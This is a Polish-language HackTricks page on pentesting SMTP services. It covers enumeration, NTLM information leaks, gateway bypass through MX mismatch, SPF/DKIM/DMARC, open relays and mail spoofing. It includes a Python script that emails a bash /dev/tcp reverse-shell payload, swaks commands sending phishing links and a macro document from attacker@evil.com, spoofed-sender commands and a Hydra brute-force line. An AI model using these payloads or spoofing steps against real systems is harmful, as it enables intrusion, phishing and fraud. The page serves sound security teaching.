25,465,587 - Pentesting SMTP/s

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Podstawowe informacje

Protokół Simple Mail Transfer Protocol (SMTP) jest wykorzystywany w stosie TCP/IP do wysyłania i odbierania e-maili. Z powodu ograniczeń w kolejkowaniu wiadomości po stronie odbiorcy, SMTP jest często używany wraz z POP3 lub IMAP. Te dodatkowe protokoły pozwalają użytkownikom przechowywać wiadomości na skrzynce pocztowej serwera i okresowo je pobierać.

W praktyce programy pocztowe zwykle wykorzystują SMTP do wysyłania e-maili, a do odbierania używają POP3 lub IMAP. Na systemach opartych na Unix najczęściej używanym serwerem SMTP jest sendmail. Komercyjny pakiet o nazwie Sendmail zawiera serwer POP3. Ponadto Microsoft Exchange dostarcza serwer SMTP i oferuje opcję dodania obsługi POP3.

Domyślny port: 25,465(ssl),587(ssl)

PORT   STATE SERVICE REASON  VERSION
25/tcp open  smtp    syn-ack Microsoft ESMTP 6.0.3790.3959

Email Security Gateways (SEGs)

As mentioned in this blog post Secure Email Gateways (SEGs) sit in-line with inbound mail flow by changing MX records to point to the SEG instead of the mail server. The SEG inspects inbound mail (e.g., IP reputation, blocklists, SPF checks, spoofing detection, metadata/content analysis, sandboxing, URL rewriting) and then forwards, drops, or quarantines messages based on policy. The security model assumes all inbound mail reaches the SEG first; if the mail server can be reached directly, the SEG can be avoided (similar to skipping a WAF by talking to the origin directly).

Avoiding SEGs via MX mismatch

Organizations using Entra ID / Exchange Online often have multiple accepted domains. If any accepted domain has an MX record that points directly to the mail server (e.g., Exchange Online) instead of the SEG, you can deliver mail to that domain and avoid the SEG. This is a misconfiguration (not a vulnerability) but still a common gap.

Also note the default <tenant>.onmicrosoft.com domain: its MX record always points to Exchange Online. If inbound to *.onmicrosoft.com is not locked down, sending to user@<tenant>.onmicrosoft.com may land directly in the inbox while bypassing the SEG.

Defensive notes:

  • Zablokuj ruch przychodzący do *.onmicrosoft.com.
  • Regularnie audytuj accepted domains i ich routing MX.
  • Skonfiguruj serwery pocztowe tak, aby przyjmowały inbound tylko z SEG.

EMAIL Headers

Jeśli masz możliwość skłonienia ofiary do wysłania Ci e-maila (np. przez formularz kontaktowy na stronie), zrób to — możesz poznać wewnętrzną topologię ofiary, analizując nagłówki wiadomości.

Możesz też sprowokować serwer SMTP do wysłania Ci wiadomości zwrotnej, wysyłając na serwer e-mail na nieistniejący adres (serwer wyśle atakującemu NDN mail). Upewnij się jednak, że wysyłasz e-mail z dozwolonego adresu (sprawdź politykę SPF) i że potrafisz odbierać wiadomości NDN.

Powinieneś też spróbować wysyłać różne treści, bo w nagłówkach można znaleźć więcej ciekawych informacji, np.: X-Virus-Scanned: by av.domain.com
Wyślij plik testowy EICAR.
Wykrycie AV może pozwolić na wykorzystanie znanych luk.

Basic actions

SMTP:

nc -vn <IP> 25

SMTPS:

openssl s_client -crlf -connect smtp.mailgun.org:465 #SSL/TLS without starttls command
openssl s_client -starttls smtp -crlf -connect smtp.mailgun.org:587

Wyszukiwanie serwerów MX organizacji

dig +short mx google.com

Enumeracja

nmap -p25 --script smtp-commands 10.10.10.10
nmap -p25 --script smtp-open-relay 10.10.10.10 -v

NTLM Auth - Ujawnianie informacji

Jeśli serwer obsługuje NTLM auth (Windows), możesz uzyskać wrażliwe informacje (wersje). Więcej informacji tutaj.

root@kali: telnet example.com 587
220 example.com SMTP Server Banner
>> HELO
250 example.com Hello [x.x.x.x]
>> AUTH NTLM 334
NTLM supported
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
334 TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA

Albo zautomatyzuj to za pomocą wtyczki nmap smtp-ntlm-info.nse

Wewnętrzna nazwa serwera - Ujawnienie informacji

Niektóre serwery SMTP automatycznie uzupełniają adres nadawcy, gdy polecenie “MAIL FROM” jest wydawane bez pełnego adresu, ujawniając swoją wewnętrzną nazwę:

220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at  Wed, 15 Sep 2021 12:13:28 +0200
EHLO all
250-somedomain.com Hello [x.x.x.x]
250-TURN
250-SIZE 52428800
250-ETRN
250-PIPELINING
250-DSN
250-ENHANCEDSTATUSCODES
250-8bitmime
250-BINARYMIME
250-CHUNKING
250-VRFY
250 OK
MAIL FROM: me
250 2.1.0 me@PRODSERV01.somedomain.com....Sender OK

Sniffing

Sprawdź, czy podsłuchasz jakieś hasło w pakietach na porcie 25

Auth bruteforce

Username Bruteforce Enumeration

Uwierzytelnianie nie zawsze jest wymagane

RCPT TO

$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO x
250 myhost Hello 18.28.38.48, pleased to meet you
MAIL FROM:example@domain.com
250 2.1.0 example@domain.com... Sender ok
RCPT TO:test
550 5.1.1 test... User unknown
RCPT TO:admin
550 5.1.1 admin... User unknown
RCPT TO:ed
250 2.1.5 ed... Recipient ok

VRFY

$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
250 myhost Hello 18.28.38.48, pleased to meet you
VRFY root
250 Super-User root@myhost
VRFY blah
550 blah... User unknown

EXPN

$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
EXPN test
550 5.1.1 test... User unknown
EXPN root
250 2.1.5 ed.williams@myhost
EXPN sshd
250 2.1.5 sshd privsep sshd@myhost

Narzędzia automatyczne

Metasploit: auxiliary/scanner/smtp/smtp_enum
smtp-user-enum: smtp-user-enum -M <MODE> -u <USER> -t <IP>
Nmap: nmap --script smtp-enum-users <IP>

Raporty DSN

Delivery Status Notification Reports: Jeśli wyślesz email do organizacji na nieistniejący adres, organizacja powiadomi, że adres był nieprawidłowy, wysyłając mail zwrotny do Ciebie. Headers zwróconego emaila będą zawierać możliwe wrażliwe informacje (np. adres IP usług pocztowych, które miały interakcję z raportami, lub informacje o oprogramowaniu antywirusowym).

Polecenia

Wysyłanie emaila z konsoli linux

sendEmail -t to@domain.com -f from@attacker.com -s <ip smtp> -u "Important subject" -a /tmp/malware.pdf
Reading message body from STDIN because the '-m' option was not used.
If you are manually typing in a message:
- First line must be received within 60 seconds.
- End manual input with a CTRL-D on its own line.

<phishing message>
swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "please click here http://10.10.14.42/" --server 10.10.10.197

Podczas dołączania plików za pomocą swaks, użyj prefiksu @, aby bajty pliku zostały osadzone zamiast dosłownego ciągu nazwy pliku. Jest to krytyczne przy dostarczaniu dokumentów zawierających makra:

swaks --to hr@example.local --from attacker@evil.com --header "Subject: Resume" --body "Please review" --attach @resume.doc --server 10.0.0.5

Wysyłanie e-maila w Pythonie

Kod Pythona tutaj ```python from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText import smtplib import sys

lhost = “127.0.0.1” lport = 443 rhost = “192.168.1.1” rport = 25 # 489,587

create message object instance

msg = MIMEMultipart()

setup the parameters of the message

password = “” msg[‘From’] = “attacker@local” msg[‘To’] = “victim@local” msg[‘Subject’] = “This is not a drill!”

payload

message = (“& /dev/tcp/%s/%d 0>&1'); ?>” % (lhost,lport))

print(“[*] Payload is generated : %s” % message)

msg.attach(MIMEText(message, ‘plain’)) server = smtplib.SMTP(host=rhost,port=rport)

if server.noop()[0] != 250: print(“[-]Connection Error”) exit()

server.starttls()

Uncomment if log-in with authencation

server.login(msg[‘From’], password)

server.sendmail(msg[‘From’], msg[‘To’], msg.as_string()) server.quit()

print(“[***]successfully sent email to %s:” % (msg[‘To’]))

</details>

## SMTP Smuggling

Luka SMTP Smuggling umożliwiała obejście wszystkich zabezpieczeń SMTP (zobacz następną sekcję po więcej informacji o zabezpieczeniach). Aby uzyskać więcej informacji o SMTP Smuggling, sprawdź:

<a class="content_ref" href="smtp-smuggling.md"><span class="content_ref_label">SMTP Smuggling</span></a>

## Środki zapobiegające Mail Spoofing

Organizacje zapobiegają wysyłaniu nieautoryzowanych wiadomości w ich imieniu poprzez stosowanie **SPF**, **DKIM** i **DMARC**, ze względu na łatwość podszywania się w wiadomościach SMTP.

Pełny przewodnik po tych środkach dostępny jest pod adresem [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/).

### SPF

> [!CAUTION]
> SPF [was "deprecated" in 2014](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). This means that instead of creating a **TXT record** in `_spf.domain.com` you create it in `domain.com` using the **same syntax**.\
> Moreover, to reuse previous spf records it's quiet common to find something like `"v=spf1 include:_spf.google.com ~all"`

**Sender Policy Framework** (SPF) to mechanizm, który umożliwia Mail Transfer Agents (MTAs) weryfikację, czy host wysyłający e-mail jest autoryzowany, poprzez zapytanie listy autoryzowanych serwerów pocztowych zdefiniowanych przez organizacje. Ta lista, która określa adresy/adresy IP/range, domeny i inne podmioty autoryzowane do wysyłania poczty w imieniu nazwy domeny, zawiera różne "Mechanisms" w rekordzie SPF.

#### Mechanizmy

From [Wikipedia](https://en.wikipedia.org/wiki/Sender_Policy_Framework):

| Mechanizm | Opis                                                                                                                                                                                                                                                                                                                                  |
| --------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| ALL       | Pasuje zawsze; używane jako domyślny wynik, np. `-all` dla wszystkich IP niepasujących do wcześniejszych mechanizmów.                                                                                                                                                                                                                     |
| A         | Jeśli nazwa domeny ma rekord adresu (A lub AAAA), który może zostać rozwiązany do adresu nadawcy, pasuje.                                                                                                                                                                                                                              |
| IP4       | Jeśli nadawca znajduje się w danym zakresie adresów IPv4 — pasuje.                                                                                                                                                                                                                                                                    |
| IP6       | Jeśli nadawca znajduje się w danym zakresie adresów IPv6 — pasuje.                                                                                                                                                                                                                                                                    |
| MX        | Jeśli nazwa domeny ma rekord MX rozwiązujący się do adresu nadawcy, pasuje (czyli mail pochodzi z jednego z przychodzących serwerów pocztowych domeny).                                                                                                                                                                                |
| PTR       | Jeśli nazwa domeny (rekord PTR) dla adresu klienta znajduje się w danej domenie i ta nazwa domeny rozwiązuje się do adresu klienta (forward-confirmed reverse DNS), pasuje. Ten mechanizm jest odradzany i należy go unikać, jeśli to możliwe.                                                                                        |
| EXISTS    | Jeśli podana nazwa domeny rozwiązuje się do jakiegokolwiek adresu — pasuje (niezależnie od tego, do jakiego). Rzadko używane. W połączeniu z językiem makr SPF oferuje bardziej złożone dopasowania, takie jak zapytania DNSBL.                                                                                                          |
| INCLUDE   | Odwołuje się do polityki innej domeny. Jeśli polityka tej domeny przejdzie, ten mechanizm przechodzi. Jednak jeśli włączona polityka zawiedzie, przetwarzanie kontynuuje się dalej. Aby w pełni przekazać kontrolę polityce innej domeny, należy użyć rozszerzenia redirect.                                                              |
| REDIRECT  | <p>Redirect to wskaźnik na inną nazwę domeny, która hostuje politykę SPF; pozwala to wielu domenom współdzielić tę samą politykę SPF. Jest to przydatne przy pracy z dużą liczbą domen, które dzielą tę samą infrastrukturę pocztową.</p><p>Zostanie użyta polityka SPF domeny wskazanej w mechanizmie redirect.</p> |

Można również wyróżnić **Qualifiers**, które wskazują **co należy zrobić, jeśli mechanizm pasuje**. Domyślnie używany jest **kwalifikator "+"** (więc jeśli jakikolwiek mechanizm pasuje, oznacza to, że jest dozwolone).\
Zwykle na końcu każdej polityki SPF zauważysz coś w rodzaju: **\~all** lub **-all**. Służy to do wskazania, że **jeśli nadawca nie pasuje do żadnej reguły SPF, powinieneś oznaczyć wiadomość jako nieufną (~) lub odrzucić ją (-).**

#### Kwalifikatory

- **`+`**: Odpowiada wynikowi PASS. Domyślnie mechanizmy zakładają ten kwalifikator, przez co `+mx` jest równoważne `mx`.
- **`?`**: Reprezentuje wynik NEUTRAL, traktowany podobnie jak NONE (brak konkretnej polityki).
- **`~`**: Oznacza SOFTFAIL, pełniąc rolę pośrednią między NEUTRAL a FAIL. Wiadomości spełniające ten warunek są zazwyczaj akceptowane, ale oznaczane odpowiednio.
- **`-`**: Wskazuje FAIL, sugerując, że wiadomość powinna zostać odrzucona.

W poniższym przykładzie zilustrowano **politykę SPF dla google.com**. Zwróć uwagę na dołączenie polityk SPF z różnych domen wewnątrz pierwszej polityki SPF:
```shell-session
dig txt google.com | grep spf
google.com.             235     IN      TXT     "v=spf1 include:_spf.google.com ~all"

dig txt _spf.google.com | grep spf
; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> txt _spf.google.com
;_spf.google.com.               IN      TXT
_spf.google.com.        235     IN      TXT     "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all"

dig txt _netblocks.google.com | grep spf
_netblocks.google.com.  1606    IN      TXT     "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all"

dig txt _netblocks2.google.com | grep spf
_netblocks2.google.com. 1908    IN      TXT     "v=spf1 ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36 ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36 ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all"

dig txt _netblocks3.google.com | grep spf
_netblocks3.google.com. 1903    IN      TXT     "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"

Tradycyjnie można było sfałszować dowolną nazwę domeny, która nie miała poprawnego/żadnego rekordu SPF. Obecnie, jeśli e-mail pochodzi z domeny bez prawidłowego rekordu SPF, prawdopodobnie zostanie odrzucony/oznaczony automatycznie jako nieufny.

Aby sprawdzić SPF domeny możesz użyć narzędzi online takich jak: https://www.kitterman.com/spf/validate.html

DKIM (DomainKeys Identified Mail)

DKIM służy do podpisywania wychodzących wiadomości e-mail, co pozwala na ich weryfikację przez zewnętrzne Mail Transfer Agents (MTAs) poprzez pobranie klucza publicznego domeny z DNS. Ten klucz publiczny znajduje się w rekordzie TXT domeny. Aby uzyskać ten klucz, trzeba znać zarówno selector, jak i nazwę domeny.

Na przykład, aby zażądać klucza, niezbędne są nazwa domeny i selector. Można je znaleźć w nagłówku wiadomości DKIM-Signature, np. d=gmail.com;s=20120113.

Polecenie do pobrania tych informacji może wyglądać tak:

dig 20120113._domainkey.gmail.com TXT | grep p=
# This command would return something like:
20120113._domainkey.gmail.com. 280 IN   TXT    "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3

DMARC (Domain-based Message Authentication, Reporting & Conformance)

DMARC zwiększa bezpieczeństwo poczty elektronicznej, opierając się na protokołach SPF i DKIM. Określa polityki, które instruują serwery pocztowe, jak postępować z wiadomościami pochodzącymi z konkretnej domeny, w tym jak radzić sobie z niepowodzeniami uwierzytelniania oraz dokąd wysyłać raporty o działaniach związanych z przetwarzaniem wiadomości.

Aby uzyskać rekord DMARC, musisz zapytać poddomenę _dmarc

# Reject
dig _dmarc.facebook.com txt | grep DMARC
_dmarc.facebook.com.	3600	IN	TXT	"v=DMARC1; p=reject; rua=mailto:a@dmarc.facebookmail.com; ruf=mailto:fb-dmarc@datafeeds.phishlabs.com; pct=100"

# Quarantine
dig _dmarc.google.com txt | grep DMARC
_dmarc.google.com.	300	IN	TXT	"v=DMARC1; p=quarantine; rua=mailto:mailauth-reports@google.com"

# None
dig _dmarc.bing.com txt | grep DMARC
_dmarc.bing.com.	3600	IN	TXT	"v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMARC@microsoft.com;"

DMARC tags

Tag NamePurposeSample
vWersja protokołuv=DMARC1
pctProcent wiadomości poddawanych filtrowaniupct=20
rufReporting URI dla raportów sądowychruf=mailto:authfail@example.com
ruaReporting URI dla raportów zbiorczychrua=mailto:aggrep@example.com
pPolityka dla domeny organizacjip=quarantine
spPolityka dla subdomen ODsp=reject
adkimTryb wyrównania dla DKIMadkim=s
aspfTryb wyrównania dla SPFaspf=r

Co z subdomenami?

Źródło here.
Musisz mieć oddzielne rekordy SPF dla każdej subdomeny, z której chcesz wysyłać pocztę.
Poniższe zostało pierwotnie opublikowane na openspf.org, który kiedyś był świetnym źródłem tego typu informacji.

The Demon Question: What about subdomains?

If I get mail from pielovers.demon.co.uk, and there’s no SPF data for pielovers, should I go back one level and test SPF for demon.co.uk? No. Each subdomain at Demon is a different customer, and each customer might have their own policy. It wouldn’t make sense for Demon’s policy to apply to all its customers by default; if Demon wants to do that, it can set up SPF records for each subdomain.

So the advice to SPF publishers is this: you should add an SPF record for each subdomain or hostname that has an A or MX record.

Sites with wildcard A or MX records should also have a wildcard SPF record, of the form: * IN TXT “v=spf1 -all”

To ma sens — subdomena może znajdować się w innej lokalizacji geograficznej i mieć zupełnie inną definicję SPF.

Open Relay

Gdy wysyłane są e-maile, kluczowe jest zapewnienie, że nie zostaną oznaczone jako spam. Często osiąga się to przez użycie relay server that is trusted by the recipient. Jednak powszechnym problemem jest to, że administratorzy mogą nie mieć pełnej wiedzy, które IP ranges są bezpieczne do dopuszczenia. Ten brak zrozumienia może prowadzić do błędów w konfiguracji SMTP servera, co jest często wykrywane w ocenach bezpieczeństwa.

Rozwiązaniem obejściowym, którego niektórzy administratorzy używają, aby uniknąć problemów z dostarczaniem wiadomości — szczególnie w komunikacji z potencjalnymi lub bieżącymi klientami — jest zezwolenie na połączenia z dowolnego adresu IP. Robi się to, konfigurując parametr mynetworks serwera SMTP tak, by akceptował wszystkie adresy IP, jak pokazano poniżej:

mynetworks = 0.0.0.0/0

Do sprawdzenia, czy serwer pocztowy jest open relay (co oznacza, że może przesyłać wiadomości e-mail z dowolnego zewnętrznego źródła), powszechnie używa się narzędzia nmap. Zawiera on specjalny skrypt służący do tego testu. Polecenie wykonujące szczegółowe (verbose) skanowanie serwera (na przykład o IP 10.10.10.10) na porcie 25 przy użyciu nmap to:

nmap -p25 --script smtp-open-relay 10.10.10.10 -v

Narzędzia

Wysyłanie Spoof Email

Lub możesz użyć narzędzia:

# This will send a test email from test@victim.com to destination@gmail.com
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
# But you can also modify more options of the email
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com

Warning

Jeśli otrzymasz jakikolwiek error using in the dkim python lib przy parsowaniu klucza, możesz użyć poniższego.
UWAGA: To tylko brudna poprawka pozwalająca na szybkie sprawdzenia w przypadkach, gdy z jakiegoś powodu openssl private key cannot be parsed by dkim.

-----BEGIN RSA PRIVATE KEY-----
MIICXgIBAAKBgQDdkohAIWT6mXiHpfAHF8bv2vHTDboN2dl5pZKG5ZSHCYC5Z1bt
spr6chlrPUX71hfSkk8WxnJ1iC9Moa9sRzdjBrxPMjRDgP8p8AFdpugP5rJJXExO
pkZcdNPvCXGYNYD86Gpous6ubn6KhUWwDD1bw2UFu53nW/AK/EE4/jeraQIDAQAB
AoGAe31lrsht7TWH9aJISsu3torCaKyn23xlNuVO6xwdUb28Hpk327bFpXveKuS1
koxaLqQYrEriFBtYsU8T5Dc06FQAVLpUBOn+9PcKlxPBCLvUF+/KbfHF0q1QbeZR
fgr+E+fPxwVPxxk3i1AwCP4Cp1+bz2s58wZXlDBkWZ2YJwECQQD/f4bO2lnJz9Mq
1xsL3PqHlzIKh+W+yiGmQAELbgOdX4uCxMxjs5lwGSACMH2nUwXx+05RB8EM2m+j
ZBTeqxDxAkEA3gHyUtVenuTGClgYpiwefaTbGfYadh0z2KmiVcRqWzz3hDUEWxhc
GNtFT8wzLcmRHB4SQYUaS0Df9mpvwvdB+QJBALGv9Qci39L0j/15P7wOYMWvpwOf
422+kYxXcuKKDkWCTzoQt7yXCRzmvFYJdznJCZdymNLNu7q+p2lQjxsUiWECQQCI
Ms2FP91ywYs1oWJN39c84byBKtiFCdla3Ib48y0EmFyJQTVQ5ZrqrOrSz8W+G2Do
zRIKHCxLapt7w0SZabORAkEAxvm5pd2MNVqrqMJHbukHY1yBqwm5zVIYr75eiIDP
K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ==
-----END RSA PRIVATE KEY-----

Lub możesz to zrobić ręcznie:

# This will send an unsigned message
mail("your_email@gmail.com", "Test Subject!", "hey! This is a test", "From: administrator@victim.com");

Więcej informacji

Znajdź więcej informacji o tych zabezpieczeniach w https://seanthegeek.net/459/demystifying-dmarc/

Inne wskaźniki phishingu

  • Wiek domeny
  • Linki wskazujące na adresy IP
  • Techniki manipulacji linkami
  • Podejrzane (niezwykłe) załączniki
  • Uszkodzona treść wiadomości e-mail
  • Wartości użyte różnią się od tych w nagłówkach wiadomości
  • Istnienie ważnego i zaufanego certyfikatu SSL
  • Przesłanie strony do serwisów filtrujących zawartość sieci

Eksfiltracja przez SMTP

Jeśli możesz wysyłać dane przez SMTP przeczytaj to.

Plik konfiguracyjny

Postfix

Zazwyczaj, jeśli jest zainstalowany, plik /etc/postfix/master.cf zawiera skrypty do wykonania, gdy na przykład nowa wiadomość zostanie dostarczona do użytkownika. Na przykład linia flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient} oznacza, że /etc/postfix/filtering zostanie uruchomiony, jeśli nowa wiadomość zostanie odebrana przez użytkownika mark.

Other config files:

sendmail.cf
submit.cf

Źródła

HackTricks Automatyczne polecenia

Protocol_Name: SMTP    #Protocol Abbreviation if there is one.
Port_Number:  25,465,587     #Comma separated if there is more than one.
Protocol_Description: Simple Mail Transfer Protocol          #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for SMTP
Note: |
SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.

https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html

Entry_2:
Name: Banner Grab
Description: Grab SMTP Banner
Command: nc -vn {IP} 25

Entry_3:
Name: SMTP Vuln Scan
Description: SMTP Vuln Scan With Nmap
Command: nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 {IP}

Entry_4:
Name: SMTP User Enum
Description: Enumerate uses with smtp-user-enum
Command: smtp-user-enum -M VRFY -U {Big_Userlist} -t {IP}

Entry_5:
Name: SMTPS Connect
Description: Attempt to connect to SMTPS two different ways
Command: openssl s_client -crlf -connect {IP}:465 &&&& openssl s_client -starttls smtp -crlf -connect {IP}:587

Entry_6:
Name: Find MX Servers
Description: Find MX servers of an organization
Command: dig +short mx {Domain_Name}

Entry_7:
Name: Hydra Brute Force
Description: Need Nothing
Command: hydra -P {Big_Passwordlist} {IP} smtp -V

Entry_8:
Name: consolesless mfs enumeration
Description: SMTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit'

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks